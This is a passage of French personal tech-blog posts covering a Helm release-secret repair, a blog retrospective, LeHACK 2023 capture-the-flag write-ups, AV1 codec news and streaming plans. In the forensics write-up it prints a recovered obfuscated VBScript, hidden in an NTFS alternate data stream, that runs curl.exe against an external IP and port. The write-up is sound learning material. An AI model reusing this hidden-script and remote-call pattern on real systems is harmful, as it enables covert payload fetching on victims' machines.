5. Stocker le résultat dans un nouveau secret quand la livraison s’est déroulée correctement.

C’est à l’étape de l’interrogation qu’on peut se retrouver dans un sacré blocage avec ce genre d’erreur :

Error: UPGRADE FAILED: unable to build kubernetes objects from current release manifest: resource mapping not found for name: "ing-pwapriv" namespace: "" from "": no matches for kind "Ingress" in version "extensions/v1beta1"
ensure CRDs are installed first
helm.go:84: [debug] resource mapping not found for name: "ing-pwapriv" namespace: "" from "": no matches for kind "Ingress" in version "extensions/v1beta1"

Au début j’ai pas trop compris, parce que je pensais que c’était les manifestes de livraison de l’application qui posaient problème, mais à l’évidence, la vérité était ailleurs. Et de fait, on a découvert que si les manifestes avaient bien été rafraîchis via un script un an auparavant, le commit contenait la mention magique [skip-ci]. Ce qui ne serait pas plus choquant que ça si dans le même temps l’agence web n’avait pas pris plus d’un an pour mettre à jour le site web… Ce qui veut dire que la dernière livraison contient des manifestes dont l’apiGroup de l’ingressRule n’existent plus.

Et là, ça a été l’aventure pour trouver une solution. On pourrait simplement « désinstaller » le site, et le réinstaller. Mais je suis moyennement fan, parce que ça va créer une indisponibilité alors qu’on pourrait s’en passer, même si on est confiant sur la sécurité des données (le volume NFS est en retain et la BDD ne bougera pas), je cherche une alternative.

Déjà quand on découvre le format du secret. Par défaut, quand on tente de récupérer le YAML ou le JSON du secret, on est face à un contenu encodé en bas64; jusque là, c’est normal. Mais il fait une taille conséquente, et quand on le décode… Ben c’est toujours illisible, et pour cause : c’est encore du base64. Mais si on le décode une deuxième fois, on est face à un truc illisible, en tout cas pour l’instant.

Car le résultat, si on le met dans un fichier, est au format GZIP. Une fois décodé, on est face… à un JSON qui contient, de manière sérialisée, les manifestes au format YAML, y compris le coupable. Oui, sérialisée. Après avoir épongée la grosse goutte de sueur qui venait de perler, j’entame la marche pour corriger :

1. Identifier la section de la loooongue chaîne de caractères correspondante au manifeste fautif,
2. La copier/coller dans un éditeur
3. Rétablir le formattage YAML (remplacer les \n par de vrais retours à la ligne)
4. Modifier le manifeste (non seulement la ligne de l’apiGroup, mais toute la définition de la partie service)
5. Reconvertir les retours à la ligne en \n pour retrouver la ligne unique
6. Remplacer la section fautive par la version corrigée dans le JSON.

Il ne reste ensuite qu’à recompresser et double/base64-iser le contenu dans une copie corrigée du manifeste du secret, et donc écraser l’historique. Le plus gros challenge dans ce foutoir est de ne pas se planter sur l’indentation. Une fois qu’on a modifié le secret, si on se rate on est bon pour supprimer/recréer le secret.

Avant de retenter la livraison, on peut justement vérifier avec helm get manifest, s’il n’y a pas d’erreur on peut dès lors retenter la livraison qui devrait passer (en tout cas ça a été bon pour moi), même si techniquement on vient de réécrire l’histoire. Et comme ça on évite le gros downtime de la désinstallation/réinstallation du site.

L’intérêt de se faire « mal »

Déjà, j’en ai appris beaucoup sur le process de livraison de Helm, parce que j’avoue que depuis que je m’en sers, je m’étais plutôt concentré sur les problèmes liés au templating, le reste c’était un peu « ta gueule c’est magique ». Surtout, les deux heures qu’ils m’aura fallu pour trouver cette solution sans interruption de service (le site était toujours debout, rien n’avait été modifié), elles auront été rentabilisées car trois autres sites ont depuis été pris du même mal, et là, on parle d’une dizaine de minutes grand max pour chaque nouvelle occurrence rencontrée. Et la méthode fonctionne quelque soit le type d’objet problématique (parce qu’entre temps, y’a les CronJobs et les PDB qui se sont mis à râler aussi, sinon c’est pas drôle).

Il y a plein de réflexions à avoir pour mieux se prémunir de ce genre d’erreurs, mais elles sont pour beaucoup spécifiques aux choix de design fait par le client, notamment la séparation du code du site de la gestion de la livraison (build docker & helm). La difficulté de devoir gérer quasiment 200 projets sur cette plateforme fait qu’on ne peut pas non plus éviter complètement les erreurs, notamment sur les quelques projets qui ne respectent pas les modèles qu’on a mis en place.

Je n’ai pas non plus complètement sorti la méthode de nulle part. Mais l’article qui m’a guidé vers la solution finale est avare en détail, parle du networking.k8s.io/v1beta1 (donc moins chiant à remplacer), ce qui fait qu’il a juste scripté le bousin sans plus de cérémonie. Au moins là on a les explications du pourquoi du comment

Post Scriptum

Ouais, vu ce que j’ai à dire encore après tout ça, ça tient pas sur une seule ligne. Dès le titre, certains auront pensé « mais en fait c’est dans la doc », « mais y’a un plugin ». Il s’avère que oui, sur la même page, on a la méthode manuelle complète, et la mention d’un plugin « kubemapapis » qu’ont d’ailleurs découvert les collègues vietnamiens quelques semaines plus tard, se facilitant dès lors très fortement la vie. Mais il se trouve que j’ai démarré l’écriture de cet article il y a pratiquement deux ans (j’ai même changé d’entreprise entre temps, c’est dire), la documentation n’était pas nécessairement aussi explicite à l’époque, et je pense que malgré tout, ma recherche de la solution manuelle permettant de se pencher sur le format des informations manipulées par Helm reste pertinente

Simili vulgaire, ouais, ne serait-ce que parce que j’ai raté l’étape symbolique des 10 ans. Mais c’est un fait : le première article du blog date de Septembre 2013 (le 21 pour être précis, pile au début de l’automne); techniquement on peut même dire que j’ai raté les 11 ans. Il en aura vu passer des vertes et des pas mûres, de mes expérimentations d’alors, de mes changements de vie aussi, et même s’il est moins qu’actif ces dernières années, je n’ai pas non plus prévu de « débrancher la prise ».

Le calme plat de la technique

Il a beau avoir changé de tête et d’activité au fil des ans, une chose n’a pas changé : WordPress. Le vénérable moteur de blog écrit en PHP a vu passer de la version du langage de 5.4 à 7.4 actuellement, avec un futur assez proche à 8.1/8.2 en fonction de mon niveau de confiance (vu la gueule du dernier live – ah oui, j’en parle juste après-, c’est pas pour tout de suite le temps de tout régler, pas merci SELinux). Et je ne vais pas me risquer à lister les versions même de WordPress. Par contre, exit le vieillissant Debian 8, dont ce n’était même pas la première maison. Je ne me souviens plus bien si c’était la même version depuis le début, à savoir de Debian 5 à Debian 8, en passant par 6 et 7; dire que dans le billet des 5 ans je parlais de réinstaller une Debian 10… Passé d’Apache à Nginx, de PHP « module » à PHP-FPM, ajout de Redis pour calmer les ardeurs des entrées/sorties du vieillissant matériel… Toutes ces choses sont désormais sur un RockyLinux 9 parti pour durer. Bon ça c’était pour la technique.

Le blog a pour l’instant eu trois « visages », Responsive, Simone, Momentous, sachant que le deuxième a été l’occasion pour moi de commencer à expérimenter les thèmes enfants, méthode privilégiée pour apporter ses propres modifications à un thème déjà fourni, bien pratique quand mes propres compétences dans le développement sont plus que limitées. Bon par contre Momentous n’a pas été mis à jour depuis deux ans semble-t-il (ou alors c’est un effet de bord du problème de version de WordPress et/ou de prérequis, comme pour les plugins), donc même en ayant eu la flemme de changer de thème y’a trois ans il semble que je ne vais pas y couper. Reste à savoir quelle sera la nouvelle base. Déjà en 2013 j’avais visé une lecture agréable sur mobile en plus du PC, ça n’est pas près de changer. L’édition est plus problématique, mais pour la sécurité je ne peux plus utiliser l’application mobile, ceci étant dit, vu ma productivité quasi nulle on va dire que ce n’est pas très grave hein

En fait en parlant de base, plus ça va et plus je me pose la question de quitter WordPress. Je ne publie plus assez souvent pour le justifier, même sur les derniers articles les commentaires ne se sont pas bousculés, donc il y a réflexion à changer de moteur, et d’alléger le tout pour passer à… (roulement de tambours) un SSG, en français un générateur de site statique. Original, non ? Nouvelle méthode de construction, nouvelle méthode de production de contenus, une légèreté à toute épreuve (surtout que le serveur Hetzner est back par un SSD), y’a de quoi s’amuser très fortement en préparant une telle migration.

Une activité dans les chaussettes, mais ce n’est pas très grave non plus

11 ans… À l’époque j’avais utilisé une métaphore scolaire pour parler des 5 ans, on approcherait donc du collège. Et malgré un ralentissement déjà visible à l’époque, de plus en plus important, la diversité des sujets est resté un moteur de mon écriture, ce qui n’est pas pour me déplaire. Même si certains articles ont bien mieux vieillis que d’autres. Linux évidemment, administration système, streaming, auto-hébergement, hacking, hardware, jeu vidéo, cinéma, et j’en passe, je ne me suis pratiquement rien interdit comme sujets à partir du moment où j’avais, selon moi, un éclairage suffisamment rare ou intéressant à partager. Et s’il fallait avoir quelques regrets, c’est d’avoir perdu l’envie du partage des petites astuces du quotidien, et évidemment les gros articles de vulgarisation. Vu le niveau toujours abyssal de la population générale sur les questions numériques au sens large, il est toujours plus que nécessaire de tenter de les rattraper au vol.

Sauf qu’en ce moment, il n’y a pas plus de motivation que ces deux dernières années (trois/quatre même ?) pour marquer le coup, ni faire évoluer le contenu en profondeur. Mais le paysage de la publication a bien changé aussi. Même si j’ai toujours à cœur de partager ce que j’apprends, j’essaie quand même d’y mettre un intérêt : il y a dix ans, je ne trouvais pas beaucoup de ressources notamment en Français sur les sujets qui m’intéressaient, sans parler d’un environnement de vie plus que propice à la vulgarisation. Sur ce dernier point en particulier j’ai déjà eu l’occasion de m’exprimer sur mon abandon, qui a les mêmes motivations que pour le reste du contenu : en 10 ans, la donne a bien changé, je continue d’apprendre toujours plus en particulier dans ce que j’appelle la Galaxie Kubernetes (certains diront la Jungle, je valide aussi :D) mais je ne trouve aucun angle particulier qui justifierais de partager ce que j’ai déjà appris car d’autres s’en chargent généralement avant moi, et en Français qui plus est; si c’est pour faire le perroquet, donc du bruit pour pas grand chose de plus… Ce n’est pas comme si je courais après les statistiques, les avoir est toujours intéressant, mais ce n’est pas un critère déterminant. D’autant plus que Google continue de référencer correctement le blog malgré son activité plus que limitée, sans que je comprenne trop pourquoi ou comment vu que je n’ai jamais cherché à optimiser quoi que ce soit à ce sujet. Aussi mon expertise récente est basée sur des environnements d’hébergement que je n’ai pas forcément à cœur de partager avec vous, parce que j’estime que ce n’est pas nécessaire (Google Cloud, Microsoft Azure), car si je m’en contente au niveau professionnel, je n’ai aucunement envie de leur faire de la publicité auprès du « grand public ».

Un intérêt qui se porte ailleurs

Quand je dis que je ne trouve plus rien à partager, c’est presque faux. Je ne trouve plus d’intérêt pour l’instant à partager à l’écrit sur ce blog. Après un constat sur l’absence de réelles expérimentations dans le cadre de ma veille technique (ce qui peut être une grosse erreur sur certains points complexes), et devant la tristesse de bricoler tout seul dans mon coin, j’ai décidé de tenter l’aventure « Streaming », histoire d’amener un peu d’interactivité dans ces sessions de découvertes. Certains épisodes relèvent plus de la reprise de maintenance, un exercice que finalement on voit peu en termes de contenu. Il est facile de trouver un milliards de tuto pour déployer une techno, une plateforme, un service, mais rarement pour parler maintenance, mises à jour, réparation, migration.

Sujet intéressant que le streaming, que ce soit en termes techniques en local (setup, qualité de la composition de l’image), mais surtout en termes réseau. Après un week-end de préparation sans accroc sur YouTube (parce que j’avais déjà le compte), la première session un vendredi soir s’est avérée catastrophique en terme de stabilité réseau. Et j’aurai persisté deux autres sessions de plus avant de lâcher l’affaire pour créer un compte Twitch. C’est là qu’on voit la différence en termes d’investissement sur la performance réseau, en particulier en Europe, sans parler des pratiques de nos propres opérateurs en matière de routage et d’interconnexions. Le problème de Twitch, qui l’est un peu moins pour du contenu comme le mien, peu nerveux, c’est le retard sur les technologies d’encodage, d’autant plus en étant conservateur sur le débit max (ce qui n’est pas forcément une mauvaise chose dans l’absolu, notez bien). Je peux comprendre l’impasse faite sur H265 à cause du coût des licences pour les encodeurs et la diffusion, mais AV1 bordel ! Ceci dit, vu le retard sur les encodeurs matériels qui permettent un meilleur traitement temps réel, en partie lié à la pandémie, possible que ça ait pris du retard. Mais quand on voit que Google le supporte désormais, un tel immobilisme fait un peu chier de la part d’un géant comme Amazon (car oui, pour ceux qui débarqueraient, Twitch appartient à Amazon).

Peertube ? J’expérimenterai certainement, forcément en auto-hébergement, pas forcément chez moi, parce que j’ai pas une bande passante de malade, mais pas forcément sur mon serveur allemand non plus, le volume réseau est pas illimité là-bas. Depuis que j’ai découvert ce formidable logiciel, je verses ma petite dîme mensuelle à Framasoft pour continuer de soutenir son développement. Et je réfléchis régulièrement à rapatrier les vidéos que j’avais produite pour le blog ailleurs que sur Youtube. Cette externalisation à l’époque permettait de palier aux ressources problématiques du serveur OVH de l’époque, sans parler de la conso de bande passante, ce dernier point reste toujours valide, mon serveur n’a « que » 20To de « data » (et 1 Gbps de bande passante). À la limite avec une instance non fédérée dédiée à l’hébergement des vidéos pour le blog, mais un autre problème survient très vite car rien n’est gratuit : le stockage ! La vidéo ça pompe pas du réseau par hasard, ça prend masse de place. En un an et demi, ça prend 300Go, le serveur au total n’a que 512Go.

TL;DR : tout va bien

En gros : j’ai mis un an et demi pour écrire cet article (oui, ça aurait du sortir pour les 10 ans), j’ai fait du chemin, je suis plus actif sur Twitch qu’ici, je ne fermerai pas le blog, par contre il ne restera pas éternellement dans cet état, à maintenir la mécanique en dessous sans que ça n’apporte au final grand chose pour tout le monde, moi en premier. Sa nécessaire mutation me redonnera peut-être goût à l’écriture, sait-on jamais. Comme d’habitude, il faudra que ça apporte un point de vue intéressant que je n’ai pas déjà vu, écrit ou entendu dix fois ailleurs

Là, on monte d’un cran, fini la crypto, la stégano ou l’OSINT, c’est de la bricole avec du firmware d’alarme à pression connectée. Et je dois mettre le crédit du résultat à Djerfy pour cette fois.

Voici la description :

Guide the backup team that’s coming up from a tunnel. Get access to one of the pressure sensitive alarm and find a way to get access to disarm all.
Flag is on the format leHACK{password}

Oui, parfois on nous donne le format du flag parce que le contenu n’est pas forcément explicite (comprendre, il n’y a pas de « leHACK »). Cette description s’accompagne donc du fichier firmware.bin, qu’il va falloir travailler. En effet :

file firmware.bin
firmware.bin: Linux kernel ARM boot executable zImage (big-endian)

zImage, ça veut dire que c’est compressé. Après une petite recherche Google, on tombe sur ce script fourni par nul autre que le créateur du noyau Linux, Linus Torvalds :

Là, on a plusieurs possibilités. J’ai entendu des voisins monter l’image décompressée et tenter de trouver l’emplacement du mot de passe en question, à partir notamment des dates de modifications de fichiers. Jérémy l’a fait un peu plus brut de décoffrage, en parcourant directement le fichier image avec vim, mix monstrueux entre séquences de fichiers textes et séquences binaires. Et si on était attentif, voilà ce qu’on trouve :

config login 
        option username 'root'  
        option password '$p$root'
        list read '*'           
        list write '*'

w4ll_h1dd3n_p13c3_<-_->
config network 
        option init network
        list affects dhcp
        list affects radvd

config wireless

C’est basique, mais comme on dit, c’est le résultat qui compte

Cette année encore, et dans la continuité de la mise en avant de la pratique de l’OSINT, une petite chasse aux infos à partir d’une image, qui va servir pour deux challenges que je vais regrouper ici.

Une fois de plus, la petite description :

Charlie is feeling a little tired and lost, he has just exited the building to his left, where he
had been for a few weeks. His GPS no longer works.

Where is Charlie ?

Oui, on a un mélange entre la version anglaise et française de « Où est Charlie ? » Mais bref, on a comme info une unique image :

Pour ma part, et pour plusieurs voisins, si on ne connait pas le bâtiment, on est bon pour faire de la recherche par image (avec Google, si vous avez d’autres sites intéressants qui le proposent, faites-vous plaisir). Évidemment, avec l’image complète ça ne fonctionne pas du tout sinon c’est trop facile. Mais si certains voisins avaient aussi échoués avec un découpage de l’image, Juliette, merci à elle, a réussi. Il s’agit du sanctuaire Notre-Dame de Fatima – Marie Médiatrice, À Paris dans le 19ème arrondissement. Oui mais, on nous dit bien dans la description que c’est le bâtiment à la gauche. Et à côté du sanctuaire, avec un outil de carte, on voit qu’il y a l’hôpital Robert Debré. Le challenge :

LeHACK{Robert_Debre}

Mais c’est pas fini !

En effet, la même image va servir à un deuxième challenge, dont j’ai zappé de noter la description, mais qui était classé dans la catégorie « Stega ». La stéganographie, on le rappelle, consiste à cacher une information dans un format inhabituel, le plus souvent une image.

Et ça tombe bien, vu qu’on a une image ! Je vous la fait courte, l’outil le plus adapté ici est zsteg, qui va extraire tout ce qu’il peut comme chaines de caractères, et parmi elles :

Charlie is in Paris (without Emily)

J’ai adoré le faire celui-là, c’est d’ailleurs le dernier, et il rapportait pas mal de points, alors qu’au final il était plus long que compliqué (on va pas se plaindre hein). Même si derrière, j’ai pas tout compris sur le façon dont c’était possible

Le nom ne laisse que peu de doute sur le sujet du challenge, et la description nous le confirme :

Our SOC analyst observed a log containing :

wscript.exe E:\firefox.exe:security_?????.vbs

What’s happening here ? We retrived the file system with this command :

$ sudo dd if=/dev/sda3 of=./suspicious_ntfs_drive.img bs=1M

flag format suivant : vbs filename, external IP, external port: leHACK{filename.vbs_IP_port}

Mais surprise, quand on monte l’image qu’ils nous ont fourni, on ne voit qu’un seul et unique binaire de 4Mo appelé firefox.exe. Pas chaud pour tenter de l’exécuter (si tant est que c’est possible), on se tourne vers d’autres pistes. Pour analyser des images de partitions NTFS, c’est très vite une suite d’outils appelée Sleuth Kit qui revient. Première étape, fls :

fls suspicious_ntfs_drive.img 
r/r 4-128-1:	$AttrDef
r/r 8-128-2:	$BadClus
r/r 8-128-1:	$BadClus:$Bad
r/r 6-128-1:	$Bitmap
r/r 7-128-1:	$Boot
d/d 11-144-2:	$Extend
r/r 2-128-1:	$LogFile
r/r 0-128-1:	$MFT
r/r 1-128-1:	$MFTMirr
r/r 9-128-2:	$Secure:$SDS
r/r 9-144-7:	$Secure:$SDH
r/r 9-144-4:	$Secure:$SII
r/r 10-128-1:	$UpCase
r/r 10-128-2:	$UpCase:$Info
r/r 3-128-3:	$Volume
r/r 34-128-1:	firefox.exe
r/r 34-128-3:	firefox.exe:security_launch.vbs
-/d * 31-144-1:	System Volume Information
-/r * 64-128-2:	security_launch.vbs
V/V 65:	$OrphanFiles

On voit donc notre firefox.exe, et en effet ce qui semble être un deuxième fichier .vbs qui à première vue correspond au format de la commande qu’on nous a donné dans la description, on a donc une partie du flag. Si on le voit, on doit pouvoir le récupérer, même si on l’a vu, en montant la partition ça ne donne rien. D’autres outils du Sleuth Kit vont nous aider, en particulier icat :

icat suspicious_ntfs_drive.img 34-128-3
Dim shl
Set shl = CreateObject("Wscript.Shell")
Dim dest
aaa = replace("hello","h","w")
bbb = StrReverse("86")
ccc = Right("90018000",4)
dest = "http://"+chr(49)+"93.1"+bbb+".1.42:"+ccc+"/dothethingzuulee"
Call shl.Run("""curl.exe"" "+dest)
Set shl = Nothing
WScript.Quit
'flaag=almostthere

Tiens, ça me rappelle quelques souvenirs de fichiers PHP obfusqués. En tout cas, on voit une URL et un port à trouver, donc la suite de notre flag. Certes l’adresse IP demande un poil de boulot, pas très compliqué, le résultat est donc :

leHACK{security_launch.vbs_193.168.1.42_8000}

 

Autre challenge réussi pendant ce wargame LeHACK, petite référence à un pays imaginaire, assez facile même si j’avoue facilement que ça a été un peu le « ta gueule c’est magique ».

La description du challenge est la suivante :

You intercept a message from the embassy of the country Cryptanga. Find out which transformation was used to encode this message, decode it and retrieve the secret code of the Cryptangian Ministry.

Le message brut est assez long, je préfère vous mettre le fichier en brut :

lh23_cryptanga

Au début, j’ai pensé à du ROT, mais aucune variante n’a donné de résultat. Et puis on m’a indiqué qu’avec un site particulier qui s’appelle dcode.fr qui propose un « cipher identifier » qui nous indique du « Letters Bars », on peut ensuite décoder avec un autre outil du même site. Je vous laisse tester, mais un passage du message en particulier nous donne la solution :

(...)VEUILLEZEGALEMENTLUIREMETTREUNPASSEPORTAVECLECODESECRETQWVMEGHPOURRENTRERDANSLESITEMINIER(...)

Voilà notre solution : LeHACK{QWVMEGH}

Je n’avais pas vraiment été rigoureux l’année dernière, et j’avais rien noté. Cette année, j’ai fait un peu mieux pour noter les éléments des challenges réussis pendant le Wargame LeHACK 2023. On commence avec le plus facile, scan-me.

Peu de description, et une image à récupérer. Celle-ci contient non pas un mais deux QR-Codes, mais y’a un twist :

Le scan « extérieur » avec un téléphone donne le message suivant :

"Ou est le flag ?
Exclusivement "Au C3nTr3"

OK, on s’en doutait un peu, mais y’a un hic : le QR-Code central, il est pas complet. Pas de miracles, j’ai sorti The GIMP pour retoucher et réparer les coins du QR-Code. Résultat :

0D 10 00 05 5F 0F 33 52 56 32 01 1A 63 6B 43 1B 20 6C 0D 10 7F 10 5B 0B 26 1B 55 1E 11 45 1C 7F 49 31 01 43 20 16 45 62 12 64

À partir de là, on a tous les éléments pour terminer, sauf quand on est un débile comme moi qui n’utilise pas les bonnes options dans les bons outils. Reprenons le message, « Exclusivement » fait penser à XOR. Et là où j’ai perdu un temps fou, c’est que j’ai utilisé CyberChef pour faire la transformation, sauf que je le faisais pas en mode ASCII (Latin1 ou UTF-8 même combat je crois). Bref, quand on passe la clé « Au C3nTr3 », ça donne :

X-OR_Le_Sherif_de_L'espace!!

 

La dernière fois que j’avais parlé du super codec du futur, c’était y’a 4 ans, et je disais qu’il fallait attendre encore deux ans pour le voir dans le monde réel. Optimisme et Covid n’étant pas bons amis, il aura fallu pas mal de temps supplémentaire pour que ça se concrétise. Petit panel certainement non exhaustif, mais tout de même…

À l’époque, le codec venait de se montrer dans la lumière pour apparaître dans une première version exploitable. Les ressources nécessaires aussi bien pour l’encodage que le décodage étaient assez énervées, ce qui le rendait inutilisable ou presque dans la pratique en tout cas pour le cas le plus consommateur des usages de ces dernières années, le streaming vidéo, que ce soit pour du contenu à la demande ou en direct.

Le matériel à la fête

Depuis, et donc avec le retard dû au COVID, les choses ont quand même fini par bouger. Dans le domaine du PC, les dernières générations de GPU intègrent non seulement des décodeurs AV1, mais surtout des encodeurs. La cible principale reste le streaming, et le logiciel de référence, OBS, supporte les trois fabricants principaux. Oui parce qu’entre temps, Intel est arrivé dans le marché des cartes graphiques dédiées, très tardivement il est vrai, avec les ARC, et si les performances brutes en jeu sont particulièrement décevantes surtout pour un produit qui a mis plus de deux ans à sortir après son annonce, les performances sur la partie encodage vidéo, notamment si on utilise la petite 380, sont très intéressantes. Et ça d’autant plus qu’AMD et Nvidia se lâchent grave en ce moment avec des gammes complètement hors sol en termes de tarif et de consommation.

Ces capacités de décodages sont aussi en déploiement depuis deux ans dans plusieurs gammes de laptop, aussi bien ceux équipés en GPU dédiés, évidemment, qu’en GPU intégrés. Et pour rester dans le domaine du logiciel, ça avance un peu partout à petits pas, que ce soit sur un support purement logiciel via différents encodeurs disponibles tous open-source (c’est un peu une des bases de la philosophie du codec en même temps), soit le support des encodeurs matériels qui sont peu à peu disponible. j’évoquais OBS un peu plus tôt, il n’est pas seul, et que ce soit des briques de base comme ffmpeg, libva ou des outils plus complets comme des outils de transcodage type Handbrake ou des éditeurs vidéo (DaVinci, Vegas, Premiere), les navigateurs web d’une manière ou d’une autre arrivent aussi petit à petit à lire le format via le matériel, bref, on est bien désormais. Si tant est qu’on a le matériel pour évidemment.

Le monde du smartphone aussi à droit à son support au moins en décodage dans la majorité des puces sorties depuis 2020, en tout cas celles pour des bidules à plus de 400€, là où les gammes se renouvellent le plus rapidement sur la partie SoC. Snapdragon, Dimensity, Exynos, Tensor, ils y passent tous. Raison pour laquelle Netflix diffuse en AV1 sur Android depuis deux ans maintenant dès que possible. Les avantages attendus sont toujours là : consommation réduite à qualité égale, donc économie de réseau, et surtout, économie en licences parce H264 et H265, ça coûte une burne en tant que diffuseur. Ce mouvement sur les smartphones diffuse aussi désormais à tout le reste des gammes : lecteurs multimedia de salon, et surtout le nouveau cancer, à savoir les smartTV qui sont pratiquement toutes sous Android. Mais là le flou est total, pour savoir ce qu’une TV a dans le ventre en pratique pour le support derrière, c’est pas évident.

Un grand absent cependant : le Raspberry Pi. Le produit phare de la fondation est dans une situation compliquée : la production de la plus populaire des SBC est au plus bas depuis plus de deux ans, avec des conséquences importantes sur les prix et surtout une disponibilité quasi inexistante. La fondation a fait le choix de privilégier des partenaires intégrant les cartes dans leurs produits, souvent à destination du monde industriel, à rebours donc de la cible première qu’est le monde de l’éducation, et par extension des bidouilleurs de tout poil. Et ces difficultés sur la version actuelle de la carte, qui ne supporte pas le format, a repoussé les travaux sur la version future, que le patron a annoncé ne pas sortir avant minimum 2024.

Le support chez les plateformes

Youtube propose déjà de l’AV1 pour les résolutions QHD+, Netflix comme je l’ai dit l’utilise dès que possible en particulier sur Android, Vimeo propose le codec depuis 2019 déjà. Un des plus gros acteurs par contre fait tâche : Twitch est particulièrement en retard. La plateforme d’Amazon ne propose déjà toujours pas de codec plus performant qu’H264, principalement pour des raisons de licences, et les fortes limites sur les débits font que la qualité des streams s’en ressent dès qu’on sort des point&clicks et des just chatting. Le H265 est fortement attendu, mais avec les GPU dernière générations qui supportent tous l’encodage, qui sont même relativement abordables pour les configurations de streams à deux PC (les A380 sont vraiment très intéressantes sur ce point), ils pourraient directement proposer un passage à l’AV1. En tout cas ça serait dans l’intérêt de tout le monde.

BIG UPDATE : alors que je n’avais pas encore fini de mettre en forme l’article, le pavé est tombé dans la mare et va faire mal à Twitch s’ils se réveillent pas bientôt : Youtube a annoncé prendre en charge le streaming en AV1, via RTMPS (parce que HLS c’est bien pour la lecture, mais sinon c’est pas ouf), et OBS 29.1 qui est sorti en beta dans la foulée va prendre en charge directement tout ça. Vu que le matériel pour les streamers est là, c’est pas surprenant.

On est quand même pas débarrassé des brevets

Le retard pris sur le calendrier initial fait que le H265 a malheureusement eu le temps de s’infuser dans beaucoup trop de systèmes, le BluRay en tête. Certes ça devient un marché de niche, notamment pour la 4K/8K, mais le standard Bluray n’est pas prêt d’évoluer pour exploiter le codec ouvert. Il reste aussi utilisé, avec le grand frère H264, pour les appareils/applications ne décodant pas l’AV1 nativement, et même avec la disponibilité désormais dans tous les secteurs le « grand remplacement » ce n’est pas pour demain. Le parc côté smartphones est assez imposant et va le rester pendant encore quelques paires d’années malheureusement, à moins d’avoir l’AV1 dans des puces pour smartphones à pas cher très très rapidement; surtout que ce n’est jamais mis en avant donc pas un critère d’achat ou de renouvellement pour les gens. Pareil pour le parc PC même en matière de lecture uniquement, avant qu’on ait une majorité de matériel AV1-ready, il va s’en passer des années, vu que même les laptops savent encore durer longtemps et qu’il faut les remplacer entièrement pour en bénéficier, contrairement aux PC de bureau ou juste la carte graphique a besoin d’un nouveau challenger. Pareil pour les appareils de salon, même si les consoles récentes sont capables de s’en sortir logiciellement avec l’AV1, pas dit que le reste des lecteurs type player de box internet basculent rapidement vers un support intégré; et une TV ça se change pas tous les deux ans, même si les fabricants essaient de vous convaincre du contraire au mépris de toute considération écologique. Sans parler que les chaînes de télé classiques diffusées par ces biais continuent d’utiliser du H264…

Mais c’est là !

Enfin, en tout cas, on y est, l’AV1 est une réalité tangible pour beaucoup de gens désormais, à l’instar de la fibre optique qui a enfin décollé ces cinq dernières années. Certes avec son lot de problèmes sur la qualité de certaines installations notamment en agglomération. C’est assez rare qu’une initiative aussi ouverte ait vu le jour, même si ce n’est pas seulement pour des raisons techniques ou éthiques mais bien financières et légales, on ne va pas s’en plaindre ?

« Quoi, toi aussi tu veux faire comme tout le monde ? » Alors sur le principe de la diffusion en direct, oui, au moins tenter l’expérience; et si ça plaît à personne, tant pis, j’aurais essayé au moins. Disons que j’ai envie de prendre un angle particulier, et qu’on va détailler ça rapidement parce que ça tiendra pas dans un tweet/pouet

Oui, ce que je ferai en stream sera orienté technique, administration système, dans une optique d’expérimentation/veille techno. C’est moins rare à trouver comme format mais je me vois mal me lancer dans l’exercice en tentant de tailler des bouts de bois, j’ai beau avoir un double héritage de menuisier, je n’ai pas beaucoup pratiqué dans ma vie. Cela étant dit, s’il y a un constat que je fais depuis plus d’un an, c’est que je ne « bidouille » pratiquement plus, parce que le faire tout seul me fait chier, tout simplement. Certes je continue de lire beaucoup, beaucoup trop parfois, mais je ne pratique plus. Pourtant j’en vois passer des trucs qui pourraient me servir, aussi bien dans un contexte perso que pro, mais la procrastination extrême vantée dans ma bio Twitter n’est pas un mythe, loin de là. Le faire en partageant m’intéresse donc beaucoup pour « retrouver la flamme ».

Ça c’est l’aspect purement égoïste, mais il y a autre chose qui me manque et qui l’est moins : le partage. Il y a plusieurs choses que je n’ai pas réussi ou cherché à transmettre au travers du blog depuis ces presque 10 ans, en tout cas pas de manière explicite, c’est un état d’esprit, une curiosité qui permet de ne jamais rester sur place, aussi bien sur de nouvelles technos (outils, langages…) qu’à creuser plus profond celles qu’on a déjà abordées en surface. Mais également, un aspect « amateur » par lequel il ne faut pas avoir peur de passer, d’autant plus quand on découvre un nouvel univers. Il ne sera pas question de tenter d’égaler le sérieux et la rigueur des stars déjà en place ou montantes. Il s’agira de streams respectant une méthode que j’affectionne particulièrement, où il sera autant question de suivre un simple tuto que d’explorer des alternatives parce qu’on a pas le bon setup ou qu’on veut éviter les trucs qui nous plaisent pas (non Docker n’est pas toujours le meilleur truc à avoir pour déployer un service).

Par exemple, j’ai envie de démarrer avec l’exploration d’une alternative à Notion, suite à un tweet que j’ai vu passer posant une question autour d’outils de ce genre. Le Mediawiki que j’ai installé suite à la perte des données du précédent vps a dépanné mais me convient moyennement à l’ergonomie, ça sera l’occasion de vérifier si ce genre d’outil fera un remplaçant possible; voire aller au delà, puisqu’on parle d’organiseur de pensée, pratiquement. Il ne sera pas question de valider une véritable installation, on sera peut-être amené à faire des trucs vraiment pas recommandés en production, mais ça montrera aux moins aguerris comment mettre les mains dedans sans se faire peur. Mais il n’y a pas de contrainte forte non plus : si j’ai envie de tester un plus gros morceau, genre Peertube, il n’est pas dit qu’il n’aura pas droit à une installation beaucoup plus propre dès le départ, il n’y a pas de raison. En ce moment j’expérimente aussi l’utilisation de Rocky Linux 9. Avec mon focus professionnel sur Kubernetes, depuis quelques années, j’ai un peu de retard dans la mise à jour de mes connaissances de l’univers RedHat (SELinux !), donc exploiter des installations sur cet OS quand beaucoup de tutos vous bassinent avec Debian ou Ubuntu, ça peut être intéressant pour montrer les différences philosophiques entre les deux univers. Et oui, on échappera pas à un peu de Kubernetes aussi parce que pourquoi pas

